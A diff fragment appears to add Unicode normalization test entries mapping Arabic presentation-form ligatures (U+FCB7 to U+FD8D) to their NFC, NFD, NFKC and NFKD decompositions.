+{ source: [0xFCB7], NFC: [0xFCB7], NFD: [0xFCB7], NFKC: [0x0636, 0x0645], NFKD: [0x0636, 0x0645] },
+{ source: [0xFCB8], NFC: [0xFCB8], NFD: [0xFCB8], NFKC: [0x0637, 0x062D], NFKD: [0x0637, 0x062D] },
+{ source: [0xFCB9], NFC: [0xFCB9], NFD: [0xFCB9], NFKC: [0x0638, 0x0645], NFKD: [0x0638, 0x0645] },
+{ source: [0xFCBA], NFC: [0xFCBA], NFD: [0xFCBA], NFKC: [0x0639, 0x062C], NFKD: [0x0639, 0x062C] },
+{ source: [0xFCBB], NFC: [0xFCBB], NFD: [0xFCBB], NFKC: [0x0639, 0x0645], NFKD: [0x0639, 0x0645] },
+{ source: [0xFCBC], NFC: [0xFCBC], NFD: [0xFCBC], NFKC: [0x063A, 0x062C], NFKD: [0x063A, 0x062C] },
+{ source: [0xFCBD], NFC: [0xFCBD], NFD: [0xFCBD], NFKC: [0x063A, 0x0645], NFKD: [0x063A, 0x0645] },
+{ source: [0xFCBE], NFC: [0xFCBE], NFD: [0xFCBE], NFKC: [0x0641, 0x062C], NFKD: [0x0641, 0x062C] },
+{ source: [0xFCBF], NFC: [0xFCBF], NFD: [0xFCBF], NFKC: [0x0641, 0x062D], NFKD: [0x0641, 0x062D] },
+{ source: [0xFCC0], NFC: [0xFCC0], NFD: [0xFCC0], NFKC: [0x0641, 0x062E], NFKD: [0x0641, 0x062E] },
+{ source: [0xFCC1], NFC: [0xFCC1], NFD: [0xFCC1], NFKC: [0x0641, 0x0645], NFKD: [0x0641, 0x0645] },
+{ source: [0xFCC2], NFC: [0xFCC2], NFD: [0xFCC2], NFKC: [0x0642, 0x062D], NFKD: [0x0642, 0x062D] },
+{ source: [0xFCC3], NFC: [0xFCC3], NFD: [0xFCC3], NFKC: [0x0642, 0x0645], NFKD: [0x0642, 0x0645] },
+{ source: [0xFCC4], NFC: [0xFCC4], NFD: [0xFCC4], NFKC: [0x0643, 0x062C], NFKD: [0x0643, 0x062C] },
+{ source: [0xFCC5], NFC: [0xFCC5], NFD: [0xFCC5], NFKC: [0x0643, 0x062D], NFKD: [0x0643, 0x062D] },
+{ source: [0xFCC6], NFC: [0xFCC6], NFD: [0xFCC6], NFKC: [0x0643, 0x062E], NFKD: [0x0643, 0x062E] },
+{ source: [0xFCC7], NFC: [0xFCC7], NFD: [0xFCC7], NFKC: [0x0643, 0x0644], NFKD: [0x0643, 0x0644] },
+{ source: [0xFCC8], NFC: [0xFCC8], NFD: [0xFCC8], NFKC: [0x0643, 0x0645], NFKD: [0x0643, 0x0645] },
+{ source: [0xFCC9], NFC: [0xFCC9], NFD: [0xFCC9], NFKC: [0x0644, 0x062C], NFKD: [0x0644, 0x062C] },
+{ source: [0xFCCA], NFC: [0xFCCA], NFD: [0xFCCA], NFKC: [0x0644, 0x062D], NFKD: [0x0644, 0x062D] },
+{ source: [0xFCCB], NFC: [0xFCCB], NFD: [0xFCCB], NFKC: [0x0644, 0x062E], NFKD: [0x0644, 0x062E] },
+{ source: [0xFCCC], NFC: [0xFCCC], NFD: [0xFCCC], NFKC: [0x0644, 0x0645], NFKD: [0x0644, 0x0645] },
+{ source: [0xFCCD], NFC: [0xFCCD], NFD: [0xFCCD], NFKC: [0x0644, 0x0647], NFKD: [0x0644, 0x0647] },
+{ source: [0xFCCE], NFC: [0xFCCE], NFD: [0xFCCE], NFKC: [0x0645, 0x062C], NFKD: [0x0645, 0x062C] },
+{ source: [0xFCCF], NFC: [0xFCCF], NFD: [0xFCCF], NFKC: [0x0645, 0x062D], NFKD: [0x0645, 0x062D] },
+{ source: [0xFCD0], NFC: [0xFCD0], NFD: [0xFCD0], NFKC: [0x0645, 0x062E], NFKD: [0x0645, 0x062E] },
+{ source: [0xFCD1], NFC: [0xFCD1], NFD: [0xFCD1], NFKC: [0x0645, 0x0645], NFKD: [0x0645, 0x0645] },
+{ source: [0xFCD2], NFC: [0xFCD2], NFD: [0xFCD2], NFKC: [0x0646, 0x062C], NFKD: [0x0646, 0x062C] },
+{ source: [0xFCD3], NFC: [0xFCD3], NFD: [0xFCD3], NFKC: [0x0646, 0x062D], NFKD: [0x0646, 0x062D] },
+{ source: [0xFCD4], NFC: [0xFCD4], NFD: [0xFCD4], NFKC: [0x0646, 0x062E], NFKD: [0x0646, 0x062E] },
+{ source: [0xFCD5], NFC: [0xFCD5], NFD: [0xFCD5], NFKC: [0x0646, 0x0645], NFKD: [0x0646, 0x0645] },
+{ source: [0xFCD6], NFC: [0xFCD6], NFD: [0xFCD6], NFKC: [0x0646, 0x0647], NFKD: [0x0646, 0x0647] },
+{ source: [0xFCD7], NFC: [0xFCD7], NFD: [0xFCD7], NFKC: [0x0647, 0x062C], NFKD: [0x0647, 0x062C] },
+{ source: [0xFCD8], NFC: [0xFCD8], NFD: [0xFCD8], NFKC: [0x0647, 0x0645], NFKD: [0x0647, 0x0645] },
+{ source: [0xFCD9], NFC: [0xFCD9], NFD: [0xFCD9], NFKC: [0x0647, 0x0670], NFKD: [0x0647, 0x0670] },
+{ source: [0xFCDA], NFC: [0xFCDA], NFD: [0xFCDA], NFKC: [0x064A, 0x062C], NFKD: [0x064A, 0x062C] },
+{ source: [0xFCDB], NFC: [0xFCDB], NFD: [0xFCDB], NFKC: [0x064A, 0x062D], NFKD: [0x064A, 0x062D] },
+{ source: [0xFCDC], NFC: [0xFCDC], NFD: [0xFCDC], NFKC: [0x064A, 0x062E], NFKD: [0x064A, 0x062E] },
+{ source: [0xFCDD], NFC: [0xFCDD], NFD: [0xFCDD], NFKC: [0x064A, 0x0645], NFKD: [0x064A, 0x0645] },
+{ source: [0xFCDE], NFC: [0xFCDE], NFD: [0xFCDE], NFKC: [0x064A, 0x0647], NFKD: [0x064A, 0x0647] },
+{ source: [0xFCDF], NFC: [0xFCDF], NFD: [0xFCDF], NFKC: [0x0626, 0x0645], NFKD: [0x064A, 0x0654, 0x0645] },
+{ source: [0xFCE0], NFC: [0xFCE0], NFD: [0xFCE0], NFKC: [0x0626, 0x0647], NFKD: [0x064A, 0x0654, 0x0647] },
+{ source: [0xFCE1], NFC: [0xFCE1], NFD: [0xFCE1], NFKC: [0x0628, 0x0645], NFKD: [0x0628, 0x0645] },
+{ source: [0xFCE2], NFC: [0xFCE2], NFD: [0xFCE2], NFKC: [0x0628, 0x0647], NFKD: [0x0628, 0x0647] },
+{ source: [0xFCE3], NFC: [0xFCE3], NFD: [0xFCE3], NFKC: [0x062A, 0x0645], NFKD: [0x062A, 0x0645] },
+{ source: [0xFCE4], NFC: [0xFCE4], NFD: [0xFCE4], NFKC: [0x062A, 0x0647], NFKD: [0x062A, 0x0647] },
+{ source: [0xFCE5], NFC: [0xFCE5], NFD: [0xFCE5], NFKC: [0x062B, 0x0645], NFKD: [0x062B, 0x0645] },
+{ source: [0xFCE6], NFC: [0xFCE6], NFD: [0xFCE6], NFKC: [0x062B, 0x0647], NFKD: [0x062B, 0x0647] },
+{ source: [0xFCE7], NFC: [0xFCE7], NFD: [0xFCE7], NFKC: [0x0633, 0x0645], NFKD: [0x0633, 0x0645] },
+{ source: [0xFCE8], NFC: [0xFCE8], NFD: [0xFCE8], NFKC: [0x0633, 0x0647], NFKD: [0x0633, 0x0647] },
+{ source: [0xFCE9], NFC: [0xFCE9], NFD: [0xFCE9], NFKC: [0x0634, 0x0645], NFKD: [0x0634, 0x0645] },
+{ source: [0xFCEA], NFC: [0xFCEA], NFD: [0xFCEA], NFKC: [0x0634, 0x0647], NFKD: [0x0634, 0x0647] },
+{ source: [0xFCEB], NFC: [0xFCEB], NFD: [0xFCEB], NFKC: [0x0643, 0x0644], NFKD: [0x0643, 0x0644] },
+{ source: [0xFCEC], NFC: [0xFCEC], NFD: [0xFCEC], NFKC: [0x0643, 0x0645], NFKD: [0x0643, 0x0645] },
+{ source: [0xFCED], NFC: [0xFCED], NFD: [0xFCED], NFKC: [0x0644, 0x0645], NFKD: [0x0644, 0x0645] },
+{ source: [0xFCEE], NFC: [0xFCEE], NFD: [0xFCEE], NFKC: [0x0646, 0x0645], NFKD: [0x0646, 0x0645] },
+{ source: [0xFCEF], NFC: [0xFCEF], NFD: [0xFCEF], NFKC: [0x0646, 0x0647], NFKD: [0x0646, 0x0647] },
+{ source: [0xFCF0], NFC: [0xFCF0], NFD: [0xFCF0], NFKC: [0x064A, 0x0645], NFKD: [0x064A, 0x0645] },
+{ source: [0xFCF1], NFC: [0xFCF1], NFD: [0xFCF1], NFKC: [0x064A, 0x0647], NFKD: [0x064A, 0x0647] },
+{ source: [0xFCF2], NFC: [0xFCF2], NFD: [0xFCF2], NFKC: [0x0640, 0x064E, 0x0651], NFKD: [0x0640, 0x064E, 0x0651] },
+{ source: [0xFCF3], NFC: [0xFCF3], NFD: [0xFCF3], NFKC: [0x0640, 0x064F, 0x0651], NFKD: [0x0640, 0x064F, 0x0651] },
+{ source: [0xFCF4], NFC: [0xFCF4], NFD: [0xFCF4], NFKC: [0x0640, 0x0650, 0x0651], NFKD: [0x0640, 0x0650, 0x0651] },
+{ source: [0xFCF5], NFC: [0xFCF5], NFD: [0xFCF5], NFKC: [0x0637, 0x0649], NFKD: [0x0637, 0x0649] },
+{ source: [0xFCF6], NFC: [0xFCF6], NFD: [0xFCF6], NFKC: [0x0637, 0x064A], NFKD: [0x0637, 0x064A] },
+{ source: [0xFCF7], NFC: [0xFCF7], NFD: [0xFCF7], NFKC: [0x0639, 0x0649], NFKD: [0x0639, 0x0649] },
+{ source: [0xFCF8], NFC: [0xFCF8], NFD: [0xFCF8], NFKC: [0x0639, 0x064A], NFKD: [0x0639, 0x064A] },
+{ source: [0xFCF9], NFC: [0xFCF9], NFD: [0xFCF9], NFKC: [0x063A, 0x0649], NFKD: [0x063A, 0x0649] },
+{ source: [0xFCFA], NFC: [0xFCFA], NFD: [0xFCFA], NFKC: [0x063A, 0x064A], NFKD: [0x063A, 0x064A] },
+{ source: [0xFCFB], NFC: [0xFCFB], NFD: [0xFCFB], NFKC: [0x0633, 0x0649], NFKD: [0x0633, 0x0649] },
+{ source: [0xFCFC], NFC: [0xFCFC], NFD: [0xFCFC], NFKC: [0x0633, 0x064A], NFKD: [0x0633, 0x064A] },
+{ source: [0xFCFD], NFC: [0xFCFD], NFD: [0xFCFD], NFKC: [0x0634, 0x0649], NFKD: [0x0634, 0x0649] },
+{ source: [0xFCFE], NFC: [0xFCFE], NFD: [0xFCFE], NFKC: [0x0634, 0x064A], NFKD: [0x0634, 0x064A] },
+{ source: [0xFCFF], NFC: [0xFCFF], NFD: [0xFCFF], NFKC: [0x062D, 0x0649], NFKD: [0x062D, 0x0649] },
+{ source: [0xFD00], NFC: [0xFD00], NFD: [0xFD00], NFKC: [0x062D, 0x064A], NFKD: [0x062D, 0x064A] },
+{ source: [0xFD01], NFC: [0xFD01], NFD: [0xFD01], NFKC: [0x062C, 0x0649], NFKD: [0x062C, 0x0649] },
+{ source: [0xFD02], NFC: [0xFD02], NFD: [0xFD02], NFKC: [0x062C, 0x064A], NFKD: [0x062C, 0x064A] },
+{ source: [0xFD03], NFC: [0xFD03], NFD: [0xFD03], NFKC: [0x062E, 0x0649], NFKD: [0x062E, 0x0649] },
+{ source: [0xFD04], NFC: [0xFD04], NFD: [0xFD04], NFKC: [0x062E, 0x064A], NFKD: [0x062E, 0x064A] },
+{ source: [0xFD05], NFC: [0xFD05], NFD: [0xFD05], NFKC: [0x0635, 0x0649], NFKD: [0x0635, 0x0649] },
+{ source: [0xFD06], NFC: [0xFD06], NFD: [0xFD06], NFKC: [0x0635, 0x064A], NFKD: [0x0635, 0x064A] },
+{ source: [0xFD07], NFC: [0xFD07], NFD: [0xFD07], NFKC: [0x0636, 0x0649], NFKD: [0x0636, 0x0649] },
+{ source: [0xFD08], NFC: [0xFD08], NFD: [0xFD08], NFKC: [0x0636, 0x064A], NFKD: [0x0636, 0x064A] },
+{ source: [0xFD09], NFC: [0xFD09], NFD: [0xFD09], NFKC: [0x0634, 0x062C], NFKD: [0x0634, 0x062C] },
+{ source: [0xFD0A], NFC: [0xFD0A], NFD: [0xFD0A], NFKC: [0x0634, 0x062D], NFKD: [0x0634, 0x062D] },
+{ source: [0xFD0B], NFC: [0xFD0B], NFD: [0xFD0B], NFKC: [0x0634, 0x062E], NFKD: [0x0634, 0x062E] },
+{ source: [0xFD0C], NFC: [0xFD0C], NFD: [0xFD0C], NFKC: [0x0634, 0x0645], NFKD: [0x0634, 0x0645] },
+{ source: [0xFD0D], NFC: [0xFD0D], NFD: [0xFD0D], NFKC: [0x0634, 0x0631], NFKD: [0x0634, 0x0631] },
+{ source: [0xFD0E], NFC: [0xFD0E], NFD: [0xFD0E], NFKC: [0x0633, 0x0631], NFKD: [0x0633, 0x0631] },
+{ source: [0xFD0F], NFC: [0xFD0F], NFD: [0xFD0F], NFKC: [0x0635, 0x0631], NFKD: [0x0635, 0x0631] },
+{ source: [0xFD10], NFC: [0xFD10], NFD: [0xFD10], NFKC: [0x0636, 0x0631], NFKD: [0x0636, 0x0631] },
+{ source: [0xFD11], NFC: [0xFD11], NFD: [0xFD11], NFKC: [0x0637, 0x0649], NFKD: [0x0637, 0x0649] },
+{ source: [0xFD12], NFC: [0xFD12], NFD: [0xFD12], NFKC: [0x0637, 0x064A], NFKD: [0x0637, 0x064A] },
+{ source: [0xFD13], NFC: [0xFD13], NFD: [0xFD13], NFKC: [0x0639, 0x0649], NFKD: [0x0639, 0x0649] },
+{ source: [0xFD14], NFC: [0xFD14], NFD: [0xFD14], NFKC: [0x0639, 0x064A], NFKD: [0x0639, 0x064A] },
+{ source: [0xFD15], NFC: [0xFD15], NFD: [0xFD15], NFKC: [0x063A, 0x0649], NFKD: [0x063A, 0x0649] },
+{ source: [0xFD16], NFC: [0xFD16], NFD: [0xFD16], NFKC: [0x063A, 0x064A], NFKD: [0x063A, 0x064A] },
+{ source: [0xFD17], NFC: [0xFD17], NFD: [0xFD17], NFKC: [0x0633, 0x0649], NFKD: [0x0633, 0x0649] },
+{ source: [0xFD18], NFC: [0xFD18], NFD: [0xFD18], NFKC: [0x0633, 0x064A], NFKD: [0x0633, 0x064A] },
+{ source: [0xFD19], NFC: [0xFD19], NFD: [0xFD19], NFKC: [0x0634, 0x0649], NFKD: [0x0634, 0x0649] },
+{ source: [0xFD1A], NFC: [0xFD1A], NFD: [0xFD1A], NFKC: [0x0634, 0x064A], NFKD: [0x0634, 0x064A] },
+{ source: [0xFD1B], NFC: [0xFD1B], NFD: [0xFD1B], NFKC: [0x062D, 0x0649], NFKD: [0x062D, 0x0649] },
+{ source: [0xFD1C], NFC: [0xFD1C], NFD: [0xFD1C], NFKC: [0x062D, 0x064A], NFKD: [0x062D, 0x064A] },
+{ source: [0xFD1D], NFC: [0xFD1D], NFD: [0xFD1D], NFKC: [0x062C, 0x0649], NFKD: [0x062C, 0x0649] },
+{ source: [0xFD1E], NFC: [0xFD1E], NFD: [0xFD1E], NFKC: [0x062C, 0x064A], NFKD: [0x062C, 0x064A] },
+{ source: [0xFD1F], NFC: [0xFD1F], NFD: [0xFD1F], NFKC: [0x062E, 0x0649], NFKD: [0x062E, 0x0649] },
+{ source: [0xFD20], NFC: [0xFD20], NFD: [0xFD20], NFKC: [0x062E, 0x064A], NFKD: [0x062E, 0x064A] },
+{ source: [0xFD21], NFC: [0xFD21], NFD: [0xFD21], NFKC: [0x0635, 0x0649], NFKD: [0x0635, 0x0649] },
+{ source: [0xFD22], NFC: [0xFD22], NFD: [0xFD22], NFKC: [0x0635, 0x064A], NFKD: [0x0635, 0x064A] },
+{ source: [0xFD23], NFC: [0xFD23], NFD: [0xFD23], NFKC: [0x0636, 0x0649], NFKD: [0x0636, 0x0649] },
+{ source: [0xFD24], NFC: [0xFD24], NFD: [0xFD24], NFKC: [0x0636, 0x064A], NFKD: [0x0636, 0x064A] },
+{ source: [0xFD25], NFC: [0xFD25], NFD: [0xFD25], NFKC: [0x0634, 0x062C], NFKD: [0x0634, 0x062C] },
+{ source: [0xFD26], NFC: [0xFD26], NFD: [0xFD26], NFKC: [0x0634, 0x062D], NFKD: [0x0634, 0x062D] },
+{ source: [0xFD27], NFC: [0xFD27], NFD: [0xFD27], NFKC: [0x0634, 0x062E], NFKD: [0x0634, 0x062E] },
+{ source: [0xFD28], NFC: [0xFD28], NFD: [0xFD28], NFKC: [0x0634, 0x0645], NFKD: [0x0634, 0x0645] },
+{ source: [0xFD29], NFC: [0xFD29], NFD: [0xFD29], NFKC: [0x0634, 0x0631], NFKD: [0x0634, 0x0631] },
+{ source: [0xFD2A], NFC: [0xFD2A], NFD: [0xFD2A], NFKC: [0x0633, 0x0631], NFKD: [0x0633, 0x0631] },
+{ source: [0xFD2B], NFC: [0xFD2B], NFD: [0xFD2B], NFKC: [0x0635, 0x0631], NFKD: [0x0635, 0x0631] },
+{ source: [0xFD2C], NFC: [0xFD2C], NFD: [0xFD2C], NFKC: [0x0636, 0x0631], NFKD: [0x0636, 0x0631] },
+{ source: [0xFD2D], NFC: [0xFD2D], NFD: [0xFD2D], NFKC: [0x0634, 0x062C], NFKD: [0x0634, 0x062C] },
+{ source: [0xFD2E], NFC: [0xFD2E], NFD: [0xFD2E], NFKC: [0x0634, 0x062D], NFKD: [0x0634, 0x062D] },
+{ source: [0xFD2F], NFC: [0xFD2F], NFD: [0xFD2F], NFKC: [0x0634, 0x062E], NFKD: [0x0634, 0x062E] },
+{ source: [0xFD30], NFC: [0xFD30], NFD: [0xFD30], NFKC: [0x0634, 0x0645], NFKD: [0x0634, 0x0645] },
+{ source: [0xFD31], NFC: [0xFD31], NFD: [0xFD31], NFKC: [0x0633, 0x0647], NFKD: [0x0633, 0x0647] },
+{ source: [0xFD32], NFC: [0xFD32], NFD: [0xFD32], NFKC: [0x0634, 0x0647], NFKD: [0x0634, 0x0647] },
+{ source: [0xFD33], NFC: [0xFD33], NFD: [0xFD33], NFKC: [0x0637, 0x0645], NFKD: [0x0637, 0x0645] },
+{ source: [0xFD34], NFC: [0xFD34], NFD: [0xFD34], NFKC: [0x0633, 0x062C], NFKD: [0x0633, 0x062C] },
+{ source: [0xFD35], NFC: [0xFD35], NFD: [0xFD35], NFKC: [0x0633, 0x062D], NFKD: [0x0633, 0x062D] },
+{ source: [0xFD36], NFC: [0xFD36], NFD: [0xFD36], NFKC: [0x0633, 0x062E], NFKD: [0x0633, 0x062E] },
+{ source: [0xFD37], NFC: [0xFD37], NFD: [0xFD37], NFKC: [0x0634, 0x062C], NFKD: [0x0634, 0x062C] },
+{ source: [0xFD38], NFC: [0xFD38], NFD: [0xFD38], NFKC: [0x0634, 0x062D], NFKD: [0x0634, 0x062D] },
+{ source: [0xFD39], NFC: [0xFD39], NFD: [0xFD39], NFKC: [0x0634, 0x062E], NFKD: [0x0634, 0x062E] },
+{ source: [0xFD3A], NFC: [0xFD3A], NFD: [0xFD3A], NFKC: [0x0637, 0x0645], NFKD: [0x0637, 0x0645] },
+{ source: [0xFD3B], NFC: [0xFD3B], NFD: [0xFD3B], NFKC: [0x0638, 0x0645], NFKD: [0x0638, 0x0645] },
+{ source: [0xFD3C], NFC: [0xFD3C], NFD: [0xFD3C], NFKC: [0x0627, 0x064B], NFKD: [0x0627, 0x064B] },
+{ source: [0xFD3D], NFC: [0xFD3D], NFD: [0xFD3D], NFKC: [0x0627, 0x064B], NFKD: [0x0627, 0x064B] },
+{ source: [0xFD50], NFC: [0xFD50], NFD: [0xFD50], NFKC: [0x062A, 0x062C, 0x0645], NFKD: [0x062A, 0x062C, 0x0645] },
+{ source: [0xFD51], NFC: [0xFD51], NFD: [0xFD51], NFKC: [0x062A, 0x062D, 0x062C], NFKD: [0x062A, 0x062D, 0x062C] },
+{ source: [0xFD52], NFC: [0xFD52], NFD: [0xFD52], NFKC: [0x062A, 0x062D, 0x062C], NFKD: [0x062A, 0x062D, 0x062C] },
+{ source: [0xFD53], NFC: [0xFD53], NFD: [0xFD53], NFKC: [0x062A, 0x062D, 0x0645], NFKD: [0x062A, 0x062D, 0x0645] },
+{ source: [0xFD54], NFC: [0xFD54], NFD: [0xFD54], NFKC: [0x062A, 0x062E, 0x0645], NFKD: [0x062A, 0x062E, 0x0645] },
+{ source: [0xFD55], NFC: [0xFD55], NFD: [0xFD55], NFKC: [0x062A, 0x0645, 0x062C], NFKD: [0x062A, 0x0645, 0x062C] },
+{ source: [0xFD56], NFC: [0xFD56], NFD: [0xFD56], NFKC: [0x062A, 0x0645, 0x062D], NFKD: [0x062A, 0x0645, 0x062D] },
+{ source: [0xFD57], NFC: [0xFD57], NFD: [0xFD57], NFKC: [0x062A, 0x0645, 0x062E], NFKD: [0x062A, 0x0645, 0x062E] },
+{ source: [0xFD58], NFC: [0xFD58], NFD: [0xFD58], NFKC: [0x062C, 0x0645, 0x062D], NFKD: [0x062C, 0x0645, 0x062D] },
+{ source: [0xFD59], NFC: [0xFD59], NFD: [0xFD59], NFKC: [0x062C, 0x0645, 0x062D], NFKD: [0x062C, 0x0645, 0x062D] },
+{ source: [0xFD5A], NFC: [0xFD5A], NFD: [0xFD5A], NFKC: [0x062D, 0x0645, 0x064A], NFKD: [0x062D, 0x0645, 0x064A] },
+{ source: [0xFD5B], NFC: [0xFD5B], NFD: [0xFD5B], NFKC: [0x062D, 0x0645, 0x0649], NFKD: [0x062D, 0x0645, 0x0649] },
+{ source: [0xFD5C], NFC: [0xFD5C], NFD: [0xFD5C], NFKC: [0x0633, 0x062D, 0x062C], NFKD: [0x0633, 0x062D, 0x062C] },
+{ source: [0xFD5D], NFC: [0xFD5D], NFD: [0xFD5D], NFKC: [0x0633, 0x062C, 0x062D], NFKD: [0x0633, 0x062C, 0x062D] },
+{ source: [0xFD5E], NFC: [0xFD5E], NFD: [0xFD5E], NFKC: [0x0633, 0x062C, 0x0649], NFKD: [0x0633, 0x062C, 0x0649] },
+{ source: [0xFD5F], NFC: [0xFD5F], NFD: [0xFD5F], NFKC: [0x0633, 0x0645, 0x062D], NFKD: [0x0633, 0x0645, 0x062D] },
+{ source: [0xFD60], NFC: [0xFD60], NFD: [0xFD60], NFKC: [0x0633, 0x0645, 0x062D], NFKD: [0x0633, 0x0645, 0x062D] },
+{ source: [0xFD61], NFC: [0xFD61], NFD: [0xFD61], NFKC: [0x0633, 0x0645, 0x062C], NFKD: [0x0633, 0x0645, 0x062C] },
+{ source: [0xFD62], NFC: [0xFD62], NFD: [0xFD62], NFKC: [0x0633, 0x0645, 0x0645], NFKD: [0x0633, 0x0645, 0x0645] },
+{ source: [0xFD63], NFC: [0xFD63], NFD: [0xFD63], NFKC: [0x0633, 0x0645, 0x0645], NFKD: [0x0633, 0x0645, 0x0645] },
+{ source: [0xFD64], NFC: [0xFD64], NFD: [0xFD64], NFKC: [0x0635, 0x062D, 0x062D], NFKD: [0x0635, 0x062D, 0x062D] },
+{ source: [0xFD65], NFC: [0xFD65], NFD: [0xFD65], NFKC: [0x0635, 0x062D, 0x062D], NFKD: [0x0635, 0x062D, 0x062D] },
+{ source: [0xFD66], NFC: [0xFD66], NFD: [0xFD66], NFKC: [0x0635, 0x0645, 0x0645], NFKD: [0x0635, 0x0645, 0x0645] },
+{ source: [0xFD67], NFC: [0xFD67], NFD: [0xFD67], NFKC: [0x0634, 0x062D, 0x0645], NFKD: [0x0634, 0x062D, 0x0645] },
+{ source: [0xFD68], NFC: [0xFD68], NFD: [0xFD68], NFKC: [0x0634, 0x062D, 0x0645], NFKD: [0x0634, 0x062D, 0x0645] },
+{ source: [0xFD69], NFC: [0xFD69], NFD: [0xFD69], NFKC: [0x0634, 0x062C, 0x064A], NFKD: [0x0634, 0x062C, 0x064A] },
+{ source: [0xFD6A], NFC: [0xFD6A], NFD: [0xFD6A], NFKC: [0x0634, 0x0645, 0x062E], NFKD: [0x0634, 0x0645, 0x062E] },
+{ source: [0xFD6B], NFC: [0xFD6B], NFD: [0xFD6B], NFKC: [0x0634, 0x0645, 0x062E], NFKD: [0x0634, 0x0645, 0x062E] },
+{ source: [0xFD6C], NFC: [0xFD6C], NFD: [0xFD6C], NFKC: [0x0634, 0x0645, 0x0645], NFKD: [0x0634, 0x0645, 0x0645] },
+{ source: [0xFD6D], NFC: [0xFD6D], NFD: [0xFD6D], NFKC: [0x0634, 0x0645, 0x0645], NFKD: [0x0634, 0x0645, 0x0645] },
+{ source: [0xFD6E], NFC: [0xFD6E], NFD: [0xFD6E], NFKC: [0x0636, 0x062D, 0x0649], NFKD: [0x0636, 0x062D, 0x0649] },
+{ source: [0xFD6F], NFC: [0xFD6F], NFD: [0xFD6F], NFKC: [0x0636, 0x062E, 0x0645], NFKD: [0x0636, 0x062E, 0x0645] },
+{ source: [0xFD70], NFC: [0xFD70], NFD: [0xFD70], NFKC: [0x0636, 0x062E, 0x0645], NFKD: [0x0636, 0x062E, 0x0645] },
+{ source: [0xFD71], NFC: [0xFD71], NFD: [0xFD71], NFKC: [0x0637, 0x0645, 0x062D], NFKD: [0x0637, 0x0645, 0x062D] },
+{ source: [0xFD72], NFC: [0xFD72], NFD: [0xFD72], NFKC: [0x0637, 0x0645, 0x062D], NFKD: [0x0637, 0x0645, 0x062D] },
+{ source: [0xFD73], NFC: [0xFD73], NFD: [0xFD73], NFKC: [0x0637, 0x0645, 0x0645], NFKD: [0x0637, 0x0645, 0x0645] },
+{ source: [0xFD74], NFC: [0xFD74], NFD: [0xFD74], NFKC: [0x0637, 0x0645, 0x064A], NFKD: [0x0637, 0x0645, 0x064A] },
+{ source: [0xFD75], NFC: [0xFD75], NFD: [0xFD75], NFKC: [0x0639, 0x062C, 0x0645], NFKD: [0x0639, 0x062C, 0x0645] },
+{ source: [0xFD76], NFC: [0xFD76], NFD: [0xFD76], NFKC: [0x0639, 0x0645, 0x0645], NFKD: [0x0639, 0x0645, 0x0645] },
+{ source: [0xFD77], NFC: [0xFD77], NFD: [0xFD77], NFKC: [0x0639, 0x0645, 0x0645], NFKD: [0x0639, 0x0645, 0x0645] },
+{ source: [0xFD78], NFC: [0xFD78], NFD: [0xFD78], NFKC: [0x0639, 0x0645, 0x0649], NFKD: [0x0639, 0x0645, 0x0649] },
+{ source: [0xFD79], NFC: [0xFD79], NFD: [0xFD79], NFKC: [0x063A, 0x0645, 0x0645], NFKD: [0x063A, 0x0645, 0x0645] },
+{ source: [0xFD7A], NFC: [0xFD7A], NFD: [0xFD7A], NFKC: [0x063A, 0x0645, 0x064A], NFKD: [0x063A, 0x0645, 0x064A] },
+{ source: [0xFD7B], NFC: [0xFD7B], NFD: [0xFD7B], NFKC: [0x063A, 0x0645, 0x0649], NFKD: [0x063A, 0x0645, 0x0649] },
+{ source: [0xFD7C], NFC: [0xFD7C], NFD: [0xFD7C], NFKC: [0x0641, 0x062E, 0x0645], NFKD: [0x0641, 0x062E, 0x0645] },
+{ source: [0xFD7D], NFC: [0xFD7D], NFD: [0xFD7D], NFKC: [0x0641, 0x062E, 0x0645], NFKD: [0x0641, 0x062E, 0x0645] },
+{ source: [0xFD7E], NFC: [0xFD7E], NFD: [0xFD7E], NFKC: [0x0642, 0x0645, 0x062D], NFKD: [0x0642, 0x0645, 0x062D] },
+{ source: [0xFD7F], NFC: [0xFD7F], NFD: [0xFD7F], NFKC: [0x0642, 0x0645, 0x0645], NFKD: [0x0642, 0x0645, 0x0645] },
+{ source: [0xFD80], NFC: [0xFD80], NFD: [0xFD80], NFKC: [0x0644, 0x062D, 0x0645], NFKD: [0x0644, 0x062D, 0x0645] },
+{ source: [0xFD81], NFC: [0xFD81], NFD: [0xFD81], NFKC: [0x0644, 0x062D, 0x064A], NFKD: [0x0644, 0x062D, 0x064A] },
+{ source: [0xFD82], NFC: [0xFD82], NFD: [0xFD82], NFKC: [0x0644, 0x062D, 0x0649], NFKD: [0x0644, 0x062D, 0x0649] },
+{ source: [0xFD83], NFC: [0xFD83], NFD: [0xFD83], NFKC: [0x0644, 0x062C, 0x062C], NFKD: [0x0644, 0x062C, 0x062C] },
+{ source: [0xFD84], NFC: [0xFD84], NFD: [0xFD84], NFKC: [0x0644, 0x062C, 0x062C], NFKD: [0x0644, 0x062C, 0x062C] },
+{ source: [0xFD85], NFC: [0xFD85], NFD: [0xFD85], NFKC: [0x0644, 0x062E, 0x0645], NFKD: [0x0644, 0x062E, 0x0645] },
+{ source: [0xFD86], NFC: [0xFD86], NFD: [0xFD86], NFKC: [0x0644, 0x062E, 0x0645], NFKD: [0x0644, 0x062E, 0x0645] },
+{ source: [0xFD87], NFC: [0xFD87], NFD: [0xFD87], NFKC: [0x0644, 0x0645, 0x062D], NFKD: [0x0644, 0x0645, 0x062D] },
+{ source: [0xFD88], NFC: [0xFD88], NFD: [0xFD88], NFKC: [0x0644, 0x0645, 0x062D], NFKD: [0x0644, 0x0645, 0x062D] },
+{ source: [0xFD89], NFC: [0xFD89], NFD: [0xFD89], NFKC: [0x0645, 0x062D, 0x062C], NFKD: [0x0645, 0x062D, 0x062C] },
+{ source: [0xFD8A], NFC: [0xFD8A], NFD: [0xFD8A], NFKC: [0x0645, 0x062D, 0x0645], NFKD: [0x0645, 0x062D, 0x0645] },
+{ source: [0xFD8B], NFC: [0xFD8B], NFD: [0xFD8B], NFKC: [0x0645, 0x062D, 0x064A], NFKD: [0x0645, 0x062D, 0x064A] },
+{ source: [0xFD8C], NFC: [0xFD8C], NFD: [0xFD8C], NFKC: [0x0645, 0x062C, 0x062D], NFKD: [0x0645, 0x062C, 0x062D] },
+{ source: [0xFD8D], NFC: [0xFD8D], NFD: [0xFD8D], NFKC: [0x0645, 0x062C, 0x0645], NFKD: [0x0645, 0x062C, 0x0645] },
